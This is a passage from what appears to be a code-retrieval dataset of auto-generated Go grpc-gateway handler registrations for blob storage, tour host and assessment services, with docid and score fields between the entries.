stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_DownloadFile_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_BlobberService_RenameObject_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/RenameObject\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_RenameObject_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_RenameObject_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_BlobberService_UploadFile_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/UploadFile\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_UploadFile_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_UploadFile_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_BlobberService_UploadFile_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/UploadFile\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_UploadFile_1(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_UploadFile_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_BlobberService_UploadFile_2, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/UploadFile\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_UploadFile_2(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_UploadFile_2(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_BlobberService_Commit_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/Commit\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_Commit_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_Commit_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_BlobberService_CalculateHash_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/CalculateHash\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_CalculateHash_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_CalculateHash_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_BlobberService_CommitMetaTxn_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/CommitMetaTxn\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_CommitMetaTxn_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_CommitMetaTxn_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_BlobberService_UpdateObjectAttributes_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/UpdateObjectAttributes\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_UpdateObjectAttributes_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_UpdateObjectAttributes_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_BlobberService_CopyObject_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/CopyObject\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_CopyObject_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_CopyObject_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_BlobberService_Collaborator_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/Collaborator\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_Collaborator_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_Collaborator_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "326863249fd0667d5e7020f922142b3b", "score": "0.6291179", "text": "func RegisterTourHostServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server TourHostServiceServer) error {\n\n\tmux.Handle(\"PATCH\", pattern_TourHostService_UpdateTourHost_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_TourHostService_UpdateTourHost_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_TourHostService_UpdateTourHost_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_TourHostService_GetTourHostByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_TourHostService_GetTourHostByID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_TourHostService_GetTourHostByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_TourHostService_CreateTourHost_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_TourHostService_CreateTourHost_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_TourHostService_CreateTourHost_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_TourHostService_UpdateHostCardID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_TourHostService_UpdateHostCardID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_TourHostService_UpdateHostCardID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_TourHostService_UpdateHostBussinessID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_TourHostService_UpdateHostBussinessID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_TourHostService_UpdateHostBussinessID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_TourHostService_GetTourHostInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_TourHostService_GetTourHostInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_TourHostService_GetTourHostInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_TourHostService_GetTourHostByUserUID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_TourHostService_GetTourHostByUserUID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_TourHostService_GetTourHostByUserUID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_TourHostService_VerifiedHostByAdmin_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_TourHostService_VerifiedHostByAdmin_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_TourHostService_VerifiedHostByAdmin_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_TourHostService_ListTourHostByAdmin_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_TourHostService_ListTourHostByAdmin_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_TourHostService_ListTourHostByAdmin_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_TourHostService_UpdateStatusCardBusinessIDByAdmin_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_TourHostService_UpdateStatusCardBusinessIDByAdmin_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_TourHostService_UpdateStatusCardBusinessIDByAdmin_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_TourHostService_UpdateTourHostByAdmin_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_TourHostService_UpdateTourHostByAdmin_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_TourHostService_UpdateTourHostByAdmin_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_TourHostService_RegisterPilotHost_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_TourHostService_RegisterPilotHost_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_TourHostService_RegisterPilotHost_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "ce43e614540e88ed88b3a44b243dedd2", "score": "0.62612975", "text": "func RegisterAssessmentServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server AssessmentServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_AssessmentService_CreateAssessment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/CreateAssessment\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_CreateAssessment_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_CreateAssessment_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_AssessmentService_GetAllAssessments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, 